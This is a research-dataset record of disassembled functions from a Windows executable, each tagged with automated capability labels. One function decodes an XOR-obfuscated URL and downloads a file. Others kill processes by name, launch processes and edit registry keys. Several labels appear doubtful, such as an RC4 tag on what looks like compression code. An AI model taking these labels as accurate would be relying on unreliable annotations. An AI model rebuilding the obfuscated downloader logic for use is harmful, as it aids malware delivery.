joyce8/EMBER2024-capa huggingface dataset:
Function at 0x404790
Capabilities:
Download url
Receive data
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x422a05
mov eax, dword fs:[0]
push eax
sub esp, 0x80
mov eax, dword [0x434050]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x1c], 0x4f4c4f43
push eax
mov dword [ebp - 0x18], 0x342052
call fcn.0040e2b4
add esp, 4
mov ecx, 0x84
xor edx, edx
nop dword [eax]
mov al, byte [edx + 0x430898]
xor al, cl
inc ecx
mov byte [ebp + edx - 0x24], al
and ecx, 0x800000ff
jns 0x4047fd
dec ecx
or ecx, 0xffffff00
inc ecx
inc edx
cmp edx, 0x11
jl 0x4047e0
mov byte [ebp - 0x13], 0
mov ecx, 0x2f
xor edx, edx
nop
mov al, byte [edx + str.GDEB_te]
xor al, cl
inc ecx
mov byte [ebp + edx - 0x5c], al
and ecx, 0x800000ff
jns 0x40482d
dec ecx
or ecx, 0xffffff00
inc ecx
inc edx
cmp edx, 0x28
jl 0x404810
push 0
push 0
lea eax, [ebp - 0x24]
mov byte [ebp - 0x34], 0
push eax
lea eax, [ebp - 0x5c]
push eax
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
cmp eax, 0x8007000e
je 0x4048d8
cmp eax, 0x800c0008
je 0x4049a2
test eax, eax
jne 0x404930
mov ecx, 8
xor edx, edx
mov al, byte [edx + str.67Hdhmd0Ysp]
xor al, cl
inc ecx
mov byte [ebp + edx - 0x28], al
and ecx, 0x800000ff
jns 0x40488d
dec ecx
or ecx, 0xffffff00
inc ecx
inc edx
cmp edx, 0x15
jl 0x404870
mov byte [ebp - 0x13], 0
lea edx, [ebp - 0x28]
mov dword [ebp - 4], 0
mov ecx, 0x435028
call fcn.00407cd0
push eax
call fcn.00407f70
add esp, 4
mov dword [0x435d08], 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00409779
mov esp, ebp
pop ebp
ret
mov eax, 0x4308f0
lea ecx, [ebp - 0x20]
sub eax, 0x78f298b5
push eax
call fcn.00407fb0
mov edx, eax
mov dword [ebp - 4], 1
mov ecx, 0x435028
call fcn.00407cd0
push 0x24dd79c9
lea ecx, [ebp - 0x20]
call fcn.00408030
push 0x745034ff
lea ecx, [ebp - 0x8c]
mov esi, eax
call fcn.00407ff0
push 0x30
push esi
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push 0
call fcn.0040da9e
push 0x26bf2092
lea ecx, [ebp - 0x30]
call fcn.004080b0
mov edx, eax
mov dword [ebp - 4], 3
mov ecx, 0x435028
call fcn.00407cd0
push 0x24dd79c9
lea ecx, [ebp - 0x20]
call fcn.00408030
mov ecx, 0x4309a4
mov esi, eax
sub ecx, 0x14433679
push ecx
lea ecx, [ebp - 0x70]
call fcn.004080f0
push 0x30
push esi
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
mov eax, 0x4309e4
lea ecx, [ebp - 0x6c]
sub eax, 0x61665391
push eax
call fcn.00408130
push eax
call fcn.0040e2b4
add esp, 4
push 0
call fcn.0040da9e
mov eax, 0x43096c
lea ecx, [ebp - 0x28]
sub eax, 0x7af3f602
push eax
call fcn.00408070
mov edx, eax
mov dword [ebp - 4], 2
mov ecx, 0x435028
call fcn.00407cd0
push 0x24dd79c9
lea ecx, [ebp - 0x20]
call fcn.00408030
push 0x745034ff
lea ecx, [ebp - 0x8c]
mov esi, eax
call fcn.00407ff0
push 0x30
push esi
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push 0
call fcn.0040da9e
int3
Function at 0x404a00
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x134
mov eax, dword [0x434050]
xor eax, esp
mov dword [esp + 0x130], eax
push ebx
push esi
push edi
push 0
mov esi, ecx
push 0xf
mov dword [esp + 0x14], esi
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
mov dword [esp + 0x10], 0x128
lea eax, [esp + 0x10]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32First]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x404ab2
nop dword [eax]
mov eax, esi
lea ecx, [esp + 0x34]
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x404a76
test dl, dl
je 0x404a72
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x404a76
add ecx, 2
add eax, 2
test dl, dl
jne 0x404a56
xor eax, eax
jmp 0x404a7b
sbb eax, eax
or eax, 1
test eax, eax
jne 0x404aa2
push dword [esp + 0x18]
push eax
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x404a9e
push 9
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
call ebx
mov esi, dword [esp + 0xc]
lea eax, [esp + 0x10]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x404a50
push edi
call ebx
mov ecx, dword [esp + 0x13c]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00409779
mov esp, ebp
pop ebp
ret
Function at 0x405df0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x14
cmp dword [ecx + 0x38], 0
push ebx
push esi
push edi
mov dword [esp + 0xc], ecx
je 0x405ed6
mov esi, dword [ebp + 0x10]
mov ebx, esi
mov edx, dword [ebp + 0xc]
mov edi, edx
mov eax, dword [ebp + 8]
mov dword [esp + 0x10], eax
test esi, esi
jl 0x405ec5
jg 0x405e30
test edx, edx
je 0x405ec5
nop dword [eax]
call fcn.004076e0
mov esi, eax
mov eax, edx
mov dword [esp + 0x14], eax
test eax, eax
jl 0x405e84
jg 0x405e47
test esi, esi
je 0x405e84
cmp ebx, eax
jg 0x405e57
jl 0x405e51
cmp edi, esi
jae 0x405e57
mov esi, edi
mov dword [esp + 0x14], ebx
mov ecx, dword [esp + 0xc]
mov eax, dword [esp + 0x10]
push esi
push eax
mov eax, dword [ecx + 0x20]
push dword [eax]
call fcn.0040abc0
mov ecx, dword [esp + 0x18]
add esp, 0xc
sub edi, esi
sbb ebx, dword [esp + 0x14]
mov eax, dword [ecx + 0x30]
sub dword [eax], esi
mov eax, dword [ecx + 0x20]
add dword [eax], esi
jmp 0x405ea9
mov ecx, dword [esp + 0xc]
mov eax, dword [esp + 0x10]
mov edx, dword [ecx]
movzx eax, byte [eax]
push eax
call dword [edx + 0xc]
cmp eax, 0xffffffff
je 0x405ebf
mov ecx, dword [esp + 0xc]
add edi, 0xffffffff
mov esi, 1
adc ebx, 0xffffffff
add dword [esp + 0x10], esi
test ebx, ebx
jg 0x405e30
jl 0x405ebf
test edi, edi
jne 0x405e30
mov edx, dword [ebp + 0xc]
mov esi, dword [ebp + 0x10]
sub edx, edi
mov eax, edx
sbb esi, ebx
mov edx, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [ecx + 0x20]
mov esi, dword [ebp + 0xc]
mov edi, dword [ebp + 0x10]
mov dword [esp + 0x18], esi
mov eax, dword [eax]
mov dword [esp + 0x1c], edi
mov dword [esp + 0x10], eax
test eax, eax
je 0x405ef8
mov eax, dword [ecx + 0x30]
mov eax, dword [eax]
jmp 0x405efa
xor eax, eax
cdq
mov ebx, eax
mov eax, edx
mov dword [esp + 0x14], eax
test edi, edi
jl 0x405f78
jg 0x405f0d
test esi, esi
je 0x405f78
test eax, eax
jl 0x405f5c
jg 0x405f17
test ebx, ebx
je 0x405f5c
cmp edi, eax
jg 0x405f27
jl 0x405f21
cmp esi, ebx
jae 0x405f27
mov ebx, esi
mov dword [esp + 0x14], edi
push ebx
push dword [ebp + 8]
push dword [esp + 0x18]
call fcn.0040abc0
mov ecx, dword [esp + 0x18]
add esp, 0xc
mov edx, dword [ebp + 8]
sub esi, ebx
sbb edi, dword [esp + 0x14]
add edx, ebx
mov eax, dword [ecx + 0x30]
sub dword [eax], ebx
mov eax, dword [ecx + 0x20]
add dword [eax], ebx
test edi, edi
jl 0x405f78
jg 0x405f5f
test esi, esi
je 0x405f78
jmp 0x405f5f
mov edx, dword [ebp + 8]
mov eax, dword [ecx + 0x4c]
test eax, eax
je 0x405f78
push eax
push esi
push 1
push edx
call fcn.0040e670
add esp, 0x10
sub esi, eax
sbb edi, 0
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x1c]
sub eax, esi
sbb edx, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x4064d0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov eax, dword [0x434050]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, ecx
cmp ebx, 0xffffffff
jne 0x406500
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00409779
mov esp, ebp
pop ebp
ret 4
mov eax, dword [esi + 0x20]
push edi
mov ecx, dword [eax]
test ecx, ecx
je 0x40653c
mov edx, dword [esi + 0x30]
mov edi, dword [edx]
lea eax, [edi + ecx]
cmp ecx, eax
jae 0x40653c
lea ecx, [edi - 1]
mov dword [edx], ecx
mov edx, dword [esi + 0x20]
mov esi, dword [edx]
lea ecx, [esi + 1]
mov dword [edx], ecx
mov byte [esi], bl
pop edi
pop esi
mov eax, ebx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00409779
mov esp, ebp
pop ebp
ret 4
cmp dword [esi + 0x4c], 0
je 0x406624
mov edi, dword [esi + 0xc]
lea eax, [esi + 0x3c]
cmp dword [edi], eax
jne 0x406564
mov edx, dword [esi + 0x54]
mov ecx, dword [esi + 0x50]
sub edx, ecx
mov dword [edi], ecx
mov eax, dword [esi + 0x1c]
mov dword [eax], ecx
mov eax, dword [esi + 0x2c]
mov dword [eax], edx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x406597
push dword [esi + 0x4c]
movsx eax, bl
push eax
call fcn.0040dadd
add esp, 8
or ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, ebx
pop edi
pop esi
mov eax, ecx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00409779
mov esp, ebp
pop ebp
ret 4
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x25], bl
mov edx, dword [ecx]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x25]
push eax
lea eax, [esi + 0x40]
push eax
call dword [edx + 0x1c]
sub eax, 0
je 0x4065f7
sub eax, 1
je 0x4065f7
sub eax, 2
jne 0x406624
push dword [esi + 0x4c]
movsx eax, byte [ebp - 0x25]
push eax
call fcn.0040dadd
add esp, 8
or ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, ebx
pop edi
pop esi
mov eax, ecx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00409779
mov esp, ebp
pop ebp
ret 4
mov edi, dword [ebp - 0x2c]
lea eax, [ebp - 0x24]
sub edi, eax
je 0x406614
push dword [esi + 0x4c]
push edi
push 1
push eax
call fcn.0040e670
add esp, 0x10
cmp edi, eax
jne 0x406624
lea eax, [ebp - 0x25]
mov byte [esi + 0x3d], 1
cmp dword [ebp - 0x30], eax
jne 0x406527
mov ecx, dword [ebp - 4]
or eax, 0xffffffff
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00409779
mov esp, ebp
pop ebp
ret 4
Function at 0x407290
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x434050]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, ecx
cmp dword [esi + 0x38], 0
je 0x40734a
cmp byte [esi + 0x3d], 0
je 0x40734a
mov eax, dword [esi]
push edi
push 0xffffffffffffffff
call dword [eax + 0xc]
cmp eax, 0xffffffff
je 0x407338
mov ecx, dword [esi + 0x38]
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 4]
push eax
mov edx, dword [ecx]
lea eax, [ebp - 0x24]
push eax
lea eax, [esi + 0x40]
push eax
call dword [edx + 0x20]
sub eax, 0
je 0x407300
sub eax, 1
je 0x407304
sub eax, 2
jne 0x407338
mov byte [esi + 0x3d], al
mov al, 1
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00409779
mov esp, ebp
pop ebp
ret
mov byte [esi + 0x3d], 0
mov edi, dword [ebp - 0x28]
lea eax, [ebp - 0x24]
sub edi, eax
je 0x407321
push dword [esi + 0x4c]
push edi
push 1
push eax
call fcn.0040e670
add esp, 0x10
cmp edi, eax
jne 0x407338
cmp byte [esi + 0x3d], 0
pop edi
sete al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00409779
mov esp, ebp
pop ebp
ret
pop edi
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00409779
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
mov al, 1
xor ecx, ebp
pop esi
call fcn.00409779
mov esp, ebp
pop ebp
ret

Function at 0x4075e0
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x423010
mov eax, dword fs:[0]
push eax
sub esp, 0xc
push ebx
push esi
push edi
mov eax, dword [0x434050]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x10], edi
push 8
mov dword [edi], vtable.std::basic_streambuf_char__struct_std::char_traits_char__.0
call fcn.0040978c
mov esi, eax
push 1
mov dword [ebp - 4], 0
call fcn.00408de8
mov dword [esi + 4], eax
lea ebx, [edi + 4]
mov eax, dword [ebp - 0x10]
lea edx, [edi + 8]
mov dword [ebp - 0x14], ebx
lea ecx, [eax + 0x18]
mov ebx, dword [ebp - 0x10]
add esp, 8
mov dword [ebp - 0x18], edx
mov edx, dword [ebp - 0x10]
mov dword [edi + 0x34], esi
add edi, 0x14
mov dword [ebx], vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
lea esi, [eax + 0x24]
mov byte [ebx + 0x48], 0
add eax, 0x28
mov byte [ebx + 0x3d], 0
mov ebx, dword [ebp - 0x14]
mov dword [edx + 0xc], ebx
mov ebx, dword [ebp - 0x10]
mov edx, dword [ebp - 0x18]
mov dword [ebx + 0x10], edx
mov dword [ebx + 0x30], eax
mov dword [ebx + 0x1c], edi
mov dword [ebx + 0x20], ecx
mov dword [ebx + 0x2c], esi
mov ebx, dword [ebp - 0x14]
mov dword [edx], 0
mov edx, dword [ebp - 0x10]
mov dword [ecx], 0
mov dword [eax], 0
mov dword [ebx], 0
mov dword [edi], 0
mov dword [esi], 0
mov dword [edx + 0x4c], 0
mov eax, dword [0x436ac0]
mov ecx, dword [0x436ac4]
mov dword [edx + 0x40], eax
mov eax, edx
mov dword [edx + 0x44], ecx
mov dword [edx + 0x38], 0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x407960
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x423070
mov eax, dword fs:[0]
push eax
sub esp, 8
push ebx
push esi
push edi
mov eax, dword [0x434050]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, ecx
mov dword [ebp - 0x10], eax
push 8
mov dword [eax], vtable.std::basic_streambuf_char__struct_std::char_traits_char__.0
call fcn.0040978c
mov esi, eax
push 1
mov dword [ebp - 4], 0
call fcn.00408de8
mov dword [esi + 4], eax
add esp, 8
mov eax, dword [ebp - 0x10]
lea edi, [eax + 0x14]
lea ecx, [eax + 0x18]
lea edx, [eax + 0x24]
mov dword [eax + 0x34], esi
lea ebx, [eax + 4]
mov dword [eax + 0xc], ebx
lea esi, [eax + 8]
mov dword [eax + 0x10], esi
mov dword [eax + 0x1c], edi
mov dword [eax + 0x20], ecx
mov dword [eax + 0x2c], edx
add eax, 0x28
mov dword [ebp - 0x14], ebx
mov ebx, dword [ebp - 0x10]
mov dword [ebx + 0x30], eax
mov ebx, dword [ebp - 0x14]
mov dword [esi], 0
mov dword [ecx], 0
mov dword [eax], 0
mov eax, dword [ebp - 0x10]
mov dword [ebx], 0
mov dword [edi], 0
mov dword [edx], 0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x414f01
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00414d77
Function at 0x404bd0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push ebx
push esi
mov esi, 0x42f78c
push edi
mov eax, esi
test eax, eax
je 0x404c5b
mov edi, 0x42ef8c
mov eax, edi
test eax, eax
je 0x404c5b
push esi
call sub.MSVCRT.dll_strlen
test eax, eax
pop ecx
jbe 0x404c5b
push edi
call sub.MSVCRT.dll_strlen
test eax, eax
pop ecx
jbe 0x404c5b
xor ebx, ebx
cmp byte [0x42f78c], bl
je 0x404c5b
push 0x10
lea eax, [ebp - 0x10]
push ebx
push eax
call sub.MSVCRT.dll_memset
push 0x44
lea eax, [ebp - 0x54]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0x18
lea eax, [ebp - 0x10]
mov dword [ebp - 0x54], 0x44
push eax
lea eax, [ebp - 0x54]
push eax
push edi
push ebx
push ebx
push ebx
push ebx
push ebx
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
cmp byte [esi], bl
je 0x404c4e
inc esi
jmp 0x404c47
inc esi
cmp byte [edi], bl
je 0x404c56
inc edi
jmp 0x404c4f
inc edi
cmp byte [esi], bl
jne 0x404c0f
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40799b
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
xor ebx, ebx
mov esi, ecx
cmp edi, ebx
jne 0x4079b0
xor eax, eax
jmp 0x4079f2
mov ecx, esi
call fcn.00407a43
test eax, eax
je 0x4079ac
mov ecx, esi
mov byte [esi + 0x38], bl
call fcn.00407a62
mov eax, dword [ebp + 0xc]
mov dword [esi + 8], edi
mov dword [esi + 0xc], eax
lea eax, [ebp + 8]
push eax
push ebx
push esi
push 0x407c11
push ebx
push ebx
mov dword [esi + 4], ebx
mov dword [esi + 0x10], ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
xor ecx, ecx
cmp eax, ebx
setne cl
mov dword [esi], eax
mov eax, ecx
pop edi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x407a80
Capabilities:
Resume thread

Disassembly:
push dword [ecx]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
ret
Function at 0x40be27
Capabilities:
Get common file path

Disassembly:
mov eax, 0x421ca3
call sub.MSVCRT.dll__EH_prolog
sub esp, 0x110
and dword [ebp - 0x18], 0
push ebx
push str.OutputName
push ecx
lea eax, [ecx + 4]
mov ecx, esp
mov dword [ebp - 0x10], esp
push eax
call fcn.0040b020
lea eax, [ebp - 0x10]
push eax
call fcn.00409aec
add esp, 0xc
push 1
lea ecx, [ebp - 0x10]
pop ebx
push 0x42c138
push str..exe
mov dword [ebp - 4], ebx
call sub.MFC42.DLL_CString::Replace
lea eax, [ebp - 0x11c]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea eax, [ebp - 0x11c]
lea ecx, [ebp - 0x14]
push eax
call sub.MFC42.DLL_CString::CString_1
push str.GLSetup2.exe__Uninstall:
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 2
call fcn.00417c34
lea eax, [ebp - 0x10]
lea ecx, [ebp - 0x14]
push eax
call sub.MFC42.DLL_CString::operator_1
mov ecx, dword [ebp + 8]
lea eax, [ebp - 0x14]
push eax
call fcn.00417b56
mov dword [ebp - 0x18], ebx
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], bl
call sub.MFC42.DLL_CString::CString
and byte [ebp - 4], 0
lea ecx, [ebp - 0x10]
call sub.MFC42.DLL_CString::CString
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp + 8]
mov dword fs:[0], ecx
pop ebx
leave
ret 4

Function at 0x411b04
Capabilities:
Set registry value

Disassembly:
mov eax, 0x422ab8
call sub.MSVCRT.dll__EH_prolog
sub esp, 0x108
push ebx
push esi
mov esi, ecx
xor ebx, ebx
mov dword [ebp - 4], ebx
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x14], 1
cmp dword [eax - 8], 0xfe
jle 0x411b34
xor esi, esi
jmp 0x411ba7
push eax
lea eax, [ebp - 0x114]
push eax
call sub.MSVCRT.dll_strcpy
mov eax, dword [esi + 0xc]
pop ecx
pop ecx
lea ecx, [ebp - 0x10]
push ecx
push 0x20006
push ebx
push eax
push dword [esi + 4]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x411b30
lea eax, [ebp - 0x114]
push edi
mov edi, dword [ebp + 8]
push eax
call sub.MSVCRT.dll_strlen
pop ecx
inc eax
push eax
lea eax, [ebp - 0x114]
push eax
push 1
push ebx
push edi
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
pop edi
je 0x411b8d
mov dword [ebp - 0x14], ebx
cmp dword [esi + 8], ebx
jne 0x411b9b
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esi, dword [ebp - 0x14]
lea ecx, [ebp + 8]
mov byte [ebp - 4], bl
call sub.MFC42.DLL_CString::CString
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 0xc]
call sub.MFC42.DLL_CString::CString
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret 8
Function at 0x411c27
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
and dword [ebp - 4], 0
push esi
lea eax, [ebp - 0x108]
mov esi, 0x104
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
test eax, eax
jne 0x411c62
push esi
lea eax, [ebp - 0x108]
push str.C:Temp
push eax
call dword [sym.imp.MSVCRT.dll__mbsnbcpy]
add esp, 0xc
lea eax, [ebp - 0x20c]
push eax
push 0
lea eax, [ebp - 0x108]
push 0x42cfd0
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
test eax, eax
pop esi
je 0x411c8b
lea eax, [ebp - 0x20c]
push eax
jmp 0x411c90
push 0x4309a8
mov ecx, dword [ebp + 8]
call sub.MFC42.DLL_CString::CString_1
mov eax, dword [ebp + 8]
leave
ret

Function at 0x411d13
Capabilities:
Copy file

Disassembly:
push 0
push dword [esp + 0xc]
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.dll_CopyFileA]
neg eax
sbb eax, eax
neg eax
ret

Function at 0x4128b5
Capabilities:
Check if file exists
Delete file

Disassembly:
mov eax, 0x422c9c
call sub.MSVCRT.dll__EH_prolog
push ecx
lea eax, [ebp - 0x10]
push esi
mov esi, ecx
push eax
call fcn.00412809
push dword [ebp - 0x10]
and dword [ebp - 4], 0
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
push dword [ebp - 0x10]
test eax, eax
jne 0x4128f6
push 0x42d0a4
add esi, 8
push esi
call sub.MFC42.DLL_CString::Format
add esp, 0xc
push 2
pop esi
jmp 0x41291d
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push dword [ebp - 0x10]
test eax, eax
jne 0x41290a
push 0x42d08c
jmp 0x4128e5
add esi, 8
push 0x42d078
push esi
call sub.MFC42.DLL_CString::Format
add esp, 0xc
xor esi, esi
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x10]
call sub.MFC42.DLL_CString::CString
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop esi
mov dword fs:[0], ecx
leave
ret

Function at 0x41340b
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, ecx
push edi
xor edi, edi
mov ecx, dword [esi + 0x10]
mov dword [ebp - 4], edi
cmp ecx, edi
je 0x413426
call fcn.00409c2c
jmp 0x413428
xor eax, eax
lea ecx, [ebp - 4]
push ecx
push 0x20019
push edi
push eax
push dword [esi + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x413444
xor eax, eax
jmp 0x413474
mov ecx, dword [esi + 0x18]
cmp ecx, edi
je 0x413452
call fcn.00409c2c
jmp 0x413454
xor eax, eax
push edi
push edi
push edi
push edi
push eax
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x413469
push 1
pop edi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, edi
pop edi
pop esi
leave
ret
Function at 0x413478
Capabilities:
Delete registry key
Delete registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
push esi
mov esi, ecx
mov ecx, dword [esi + 0x10]
test ecx, ecx
je 0x413491
call fcn.00409c2c
jmp 0x413493
xor eax, eax
lea ecx, [ebp - 4]
push ecx
push 0x20006
push 0
push eax
push dword [esi + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4134d3
mov ecx, dword [esi + 0x18]
test ecx, ecx
je 0x4134ba
call fcn.00409c2c
jmp 0x4134bc
xor eax, eax
push eax
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
push dword [ebp - 4]
test eax, eax
je 0x4134d7
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
jmp 0x4134fa
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [esi + 0x10]
test ecx, ecx
je 0x4134eb
call fcn.00409c2c
jmp 0x4134ed
xor eax, eax
push eax
push dword [esi + 0xc]
call dword [sym.imp.SHLWAPI.dll_SHDeleteEmptyKeyA]
push 1
pop eax
pop esi
leave
ret

Function at 0x41478d
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, dword [esi + 0x24]
mov ecx, dword [esi + 0x64]
mov eax, dword [esi + 0x34]
mov edx, dword [esi + 0x6c]
sub eax, ecx
sub eax, edx
mov dword [ebp + 8], eax
jne 0x4147b7
test ecx, ecx
jne 0x4147c1
test edx, edx
jne 0x4147c1
mov eax, edi
jmp 0x41482d
cmp eax, 0xffffffff
jne 0x4147c1
push 0xfffffffffffffffe
pop eax
jmp 0x41482d
mov edx, dword [esi + 0x24]
lea edx, [edi + edx - 0x106]
cmp ecx, edx
jb 0x41482d
mov eax, dword [esi + 0x30]
push edi
lea ecx, [eax + edi]
push ecx
push eax
call sub.MSVCRT.dll_memcpy
mov ecx, dword [esi + 0x44]
mov eax, dword [esi + 0x3c]
sub dword [esi + 0x68], edi
sub dword [esi + 0x64], edi
add esp, 0xc
sub dword [esi + 0x54], edi
lea eax, [eax + ecx*2]
dec eax
dec eax
movzx edx, word [eax]
mov ebx, edx
sub ebx, edi
cmp edx, edi
sbb edx, edx
not edx
and edx, ebx
dec ecx
mov word [eax], dx
jne 0x4147f2
mov eax, dword [esi + 0x38]
mov edx, edi
lea eax, [eax + edi*2]
dec eax
dec eax
movzx ecx, word [eax]
mov ebx, ecx
sub ebx, edi
cmp ecx, edi
sbb ecx, ecx
not ecx
and ecx, ebx
dec edx
mov word [eax], cx
jne 0x414811
mov eax, dword [ebp + 8]
add eax, edi
mov ecx, dword [esi]
cmp dword [ecx + 4], 0
je 0x414888
push eax
mov eax, dword [esi + 0x6c]
add eax, dword [esi + 0x64]
add eax, dword [esi + 0x30]
push eax
push ecx
call fcn.0041488d
add dword [esi + 0x6c], eax
mov ebx, dword [esi + 0x6c]
add esp, 0xc
cmp ebx, 3
jb 0x414874
mov eax, dword [esi + 0x64]
mov ecx, dword [esi + 0x30]
lea edx, [eax + ecx]
mov ecx, dword [esi + 0x50]
movzx eax, byte [edx]
mov dword [esi + 0x40], eax
shl eax, cl
movzx ecx, byte [edx + 1]
xor eax, ecx
and eax, dword [esi + 0x4c]
mov dword [esi + 0x40], eax
cmp ebx, 0x106
jae 0x414888
mov eax, dword [esi]
cmp dword [eax + 4], 0
jne 0x414799
pop edi
pop esi
pop ebx
pop ebp
ret